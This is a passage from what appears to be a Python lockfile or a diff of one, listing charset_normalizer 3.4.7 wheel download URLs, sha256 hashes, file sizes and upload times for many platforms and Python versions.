"https://files.pythonhosted.org/packages/fb/73/77486c4cd58f1267bf17db420e930c9afa1b3be3fe8c8b8ebbebc9624359/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:532bc9bf33a68613fd7d65e4b1c71a6a38d7d42604ecf239c77392e9b4e8998c", size = 222742, upload-time = "2026-04-02T09:26:06.36Z" }, - { url = "https://files.pythonhosted.org/packages/a1/fa/f74eb381a7d94ded44739e9d94de18dc5edc9c17fb8c11f0a6890696c0a9/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2fe249cb4651fd12605b7288b24751d8bfd46d35f12a20b1ba33dea122e690df", size = 214061, upload-time = "2026-04-02T09:26:08.347Z" }, - { url = "https://files.pythonhosted.org/packages/dc/92/42bd3cefcf7687253fb86694b45f37b733c97f59af3724f356fa92b8c344/charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:65bcd23054beab4d166035cabbc868a09c1a49d1efe458fe8e4361215df40265", size = 199239, upload-time = "2026-04-02T09:26:09.823Z" }, - { url = "https://files.pythonhosted.org/packages/4c/3d/069e7184e2aa3b3cddc700e3dd267413dc259854adc3380421c805c6a17d/charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:08e721811161356f97b4059a9ba7bafb23ea5ee2255402c42881c214e173c6b4", size = 210173, upload-time = "2026-04-02T09:26:10.953Z" }, - { url = "https://files.pythonhosted.org/packages/62/51/9d56feb5f2e7074c46f93e0ebdbe61f0848ee246e2f0d89f8e20b89ebb8f/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:e060d01aec0a910bdccb8be71faf34e7799ce36950f8294c8bf612cba65a2c9e", size = 209841, upload-time = "2026-04-02T09:26:12.142Z" }, - { url = "https://files.pythonhosted.org/packages/d2/59/893d8f99cc4c837dda1fe2f1139079703deb9f321aabcb032355de13b6c7/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:38c0109396c4cfc574d502df99742a45c72c08eff0a36158b6f04000043dbf38", size = 200304, upload-time = "2026-04-02T09:26:13.711Z" }, - { url = "https://files.pythonhosted.org/packages/7d/1d/ee6f3be3464247578d1ed5c46de545ccc3d3ff933695395c402c21fa6b77/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:1c2a768fdd44ee4a9339a9b0b130049139b8ce3c01d2ce09f67f5a68048d477c", size = 229455, upload-time = "2026-04-02T09:26:14.941Z" }, - { url = "https://files.pythonhosted.org/packages/54/bb/8fb0a946296ea96a488928bdce8ef99023998c48e4713af533e9bb98ef07/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:1a87ca9d5df6fe460483d9a5bbf2b18f620cbed41b432e2bddb686228282d10b", size = 210036, upload-time = "2026-04-02T09:26:16.478Z" }, - { url = "https://files.pythonhosted.org/packages/9a/bc/015b2387f913749f82afd4fcba07846d05b6d784dd16123cb66860e0237d/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:d635aab80466bc95771bb78d5370e74d36d1fe31467b6b29b8b57b2a3cd7d22c", size = 224739, upload-time = "2026-04-02T09:26:17.751Z" }, - { url = "https://files.pythonhosted.org/packages/17/ab/63133691f56baae417493cba6b7c641571a2130eb7bceba6773367ab9ec5/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ae196f021b5e7c78e918242d217db021ed2a6ace2bc6ae94c0fc596221c7f58d", size = 216277, upload-time = "2026-04-02T09:26:18.981Z" }, - { url = "https://files.pythonhosted.org/packages/06/6d/3be70e827977f20db77c12a97e6a9f973631a45b8d186c084527e53e77a4/charset_normalizer-3.4.7-cp311-cp311-win32.whl", hash = "sha256:adb2597b428735679446b46c8badf467b4ca5f5056aae4d51a19f9570301b1ad", size = 147819, upload-time = "2026-04-02T09:26:20.295Z" }, - { url = "https://files.pythonhosted.org/packages/20/d9/5f67790f06b735d7c7637171bbfd89882ad67201891b7275e51116ed8207/charset_normalizer-3.4.7-cp311-cp311-win_amd64.whl", hash = "sha256:8e385e4267ab76874ae30db04c627faaaf0b509e1ccc11a95b3fc3e83f855c00", size = 159281, upload-time = "2026-04-02T09:26:21.74Z" }, - { url = "https://files.pythonhosted.org/packages/ca/83/6413f36c5a34afead88ce6f66684d943d91f233d76dd083798f9602b75ae/charset_normalizer-3.4.7-cp311-cp311-win_arm64.whl", hash = "sha256:d4a48e5b3c2a489fae013b7589308a40146ee081f6f509e047e0e096084ceca1", size = 147843, upload-time = "2026-04-02T09:26:22.901Z" }, - { url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46", size = 311328, upload-time = "2026-04-02T09:26:24.331Z" }, - { url = "https://files.pythonhosted.org/packages/f8/e3/0fadc706008ac9d7b9b5be6dc767c05f9d3e5df51744ce4cc9605de7b9f4/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2", size = 208061, upload-time = "2026-04-02T09:26:25.568Z" }, - { url = "https://files.pythonhosted.org/packages/42/f0/3dd1045c47f4a4604df85ec18ad093912ae1344ac706993aff91d38773a2/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b", size = 229031, upload-time = "2026-04-02T09:26:26.865Z" }, - { url = "https://files.pythonhosted.org/packages/dc/67/675a46eb016118a2fbde5a277a5d15f4f69d5f3f5f338e5ee2f8948fcf43/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a", size = 225239, upload-time = "2026-04-02T09:26:28.044Z" }, - { url = "https://files.pythonhosted.org/packages/4b/f8/d0118a2f5f23b02cd166fa385c60f9b0d4f9194f574e2b31cef350ad7223/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116", size = 216589, upload-time = "2026-04-02T09:26:29.239Z" }, - { url = "https://files.pythonhosted.org/packages/b1/f1/6d2b0b261b6c4ceef0fcb0d17a01cc5bc53586c2d4796fa04b5c540bc13d/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb", size = 202733, upload-time = "2026-04-02T09:26:30.5Z" }, - { url = "https://files.pythonhosted.org/packages/6f/c0/7b1f943f7e87cc3db9626ba17807d042c38645f0a1d4415c7a14afb5591f/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1", size = 212652, upload-time = "2026-04-02T09:26:31.709Z" }, - { url = "https://files.pythonhosted.org/packages/38/dd/5a9ab159fe45c6e72079398f277b7d2b523e7f716acc489726115a910097/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15", size = 211229, upload-time = "2026-04-02T09:26:33.282Z" }, - { url = "https://files.pythonhosted.org/packages/d5/ff/531a1cad5ca855d1c1a8b69cb71abfd6d85c0291580146fda7c82857caa1/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5", size = 203552, upload-time = "2026-04-02T09:26:34.845Z" }, - { url = "https://files.pythonhosted.org/packages/c1/4c/a5fb52d528a8ca41f7598cb619409ece30a169fbdf9cdce592e53b46c3a6/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d", size = 230806, upload-time = "2026-04-02T09:26:36.152Z" }, - { url = "https://files.pythonhosted.org/packages/59/7a/071feed8124111a32b316b33ae4de83d36923039ef8cf48120266844285b/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7", size = 212316, upload-time = "2026-04-02T09:26:37.672Z" }, - { url = "https://files.pythonhosted.org/packages/fd/35/f7dba3994312d7ba508e041eaac39a36b120f32d4c8662b8814dab876431/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464", size = 227274, upload-time = "2026-04-02T09:26:38.93Z" }, - { url = "https://files.pythonhosted.org/packages/8a/2d/a572df5c9204ab7688ec1edc895a73ebded3b023bb07364710b05dd1c9be/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49", size = 218468, upload-time = "2026-04-02T09:26:40.17Z" }, - { url = "https://files.pythonhosted.org/packages/86/eb/890922a8b03a568ca2f336c36585a4713c55d4d67bf0f0c78924be6315ca/charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c", size = 148460, upload-time = "2026-04-02T09:26:41.416Z" }, - { url = "https://files.pythonhosted.org/packages/35/d9/0e7dffa06c5ab081f75b1b786f0aefc88365825dfcd0ac544bdb7b2b6853/charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6", size = 159330, upload-time = "2026-04-02T09:26:42.554Z" }, - { url = "https://files.pythonhosted.org/packages/9e/5d/481bcc2a7c88ea6b0878c299547843b2521ccbc40980cb406267088bc701/charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d", size = 147828, upload-time = "2026-04-02T09:26:44.075Z" }, - { url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063", size = 309627, upload-time = "2026-04-02T09:26:45.198Z" }, - { url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c", size = 207008, upload-time = "2026-04-02T09:26:46.824Z" }, - { url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66", size = 228303, upload-time = "2026-04-02T09:26:48.397Z" }, - { url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18", size = 224282, upload-time = "2026-04-02T09:26:49.684Z" }, - { url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd", size = 215595, upload-time = "2026-04-02T09:26:50.915Z" }, - { url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215", size = 201986, upload-time = "2026-04-02T09:26:52.197Z" }, - { url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859", size = 211711, upload-time = "2026-04-02T09:26:53.49Z" }, - { url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8", size = 210036, upload-time = "2026-04-02T09:26:54.975Z" }, - { url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5", size = 202998, upload-time = "2026-04-02T09:26:56.303Z" }, - { url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832", size = 230056, upload-time = "2026-04-02T09:26:57.554Z" }, - { url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6", size = 211537, upload-time = "2026-04-02T09:26:58.843Z" }, - { url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48", size = 226176, upload-time = "2026-04-02T09:27:00.437Z" }, - { url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a", size = 217723, upload-time = "2026-04-02T09:27:02.021Z" }, - { url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e", size = 148085, upload-time = "2026-04-02T09:27:03.192Z" }, - { url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110", size = 158819, upload-time = "2026-04-02T09:27:04.454Z" }, - { url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b", size = 147915, upload-time = "2026-04-02T09:27:05.971Z" }, - { url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0", size = 309234, upload-time = "2026-04-02T09:27:07.194Z" }, - { url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a", size = 208042, upload-time = "2026-04-02T09:27:08.749Z" }, - { url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b", size = 228706, upload-time = "2026-04-02T09:27:09.951Z" }, - { url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41", size = 224727, upload-time = "2026-04-02T09:27:11.175Z" }, - { url = "https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e", size = 215882, upload-time = "2026-04-02T09:27:12.446Z" }, - { url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae", size = 200860, upload-time = "2026-04-02T09:27:13.721Z" }, - { url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18", size = 211564, upload-time = "2026-04-02T09:27:15.272Z" }, - { url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b", size = 211276, upload-time = "2026-04-02T09:27:16.834Z" }, - { url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356", size = 201238, upload-time = "2026-04-02T09:27:18.229Z" }, - { url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab", size = 230189, upload-time = "2026-04-02T09:27:19.445Z" }, - { url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46", size = 211352, upload-time = "2026-04-02T09:27:20.79Z" }, - { url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44", size = 227024, upload-time = "2026-04-02T09:27:22.063Z" }, - { url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72", size = 217869, upload-time = "2026-04-02T09:27:23.486Z" }, - { url = "https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10", size = 148541, upload-time = "2026-04-02T09:27:25.146Z" }, - { url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f", size = 159634, upload-time = "2026-04-02T09:27:26.642Z" }, - { url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246", size = 148384, upload-time = "2026-04-02T09:27:28.271Z" }, - { url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24", size = 330133, upload-time = "2026-04-02T09:27:29.474Z" }, - { url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79", size = 216257, upload-time = "2026-04-02T09:27:30.793Z" }, - { url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960", size = 234851, upload-time = "2026-04-02T09:27:32.44Z" }, - { url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4", size = 233393, upload-time = "2026-04-02T09:27:34.03Z" }, - { url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e", size = 223251, upload-time = "2026-04-02T09:27:35.369Z" }, - { url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1", size = 206609, upload-time = "2026-04-02T09:27:36.661Z" }, - { url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44", size = 220014, upload-time = "2026-04-02T09:27:38.019Z" }, - { url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e", size = 218979, upload-time = "2026-04-02T09:27:39.37Z" }, - { url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3", size = 209238, upload-time = "2026-04-02T09:27:40.722Z" }, - { url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0", size = 236110, upload-time = "2026-04-02T09:27:42.33Z" }, - { url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e", size = 219824, upload-time = "2026-04-02T09:27:43.924Z" }, - { url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb", size = 233103, upload-time = "2026-04-02T09:27:45.348Z" }, - { url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe", size = 225194, upload-time = "2026-04-02T09:27:46.706Z" }, - { url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0", size = 159827, upload-time = "2026-04-02T09:27:48.053Z" }, - { url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c", size = 174168, upload-time = "2026-04-02T09:27:49.795Z" }, - { url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d", size = 153018, upload-time = "2026-04-02T09:27:51.116Z" }, - { url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, 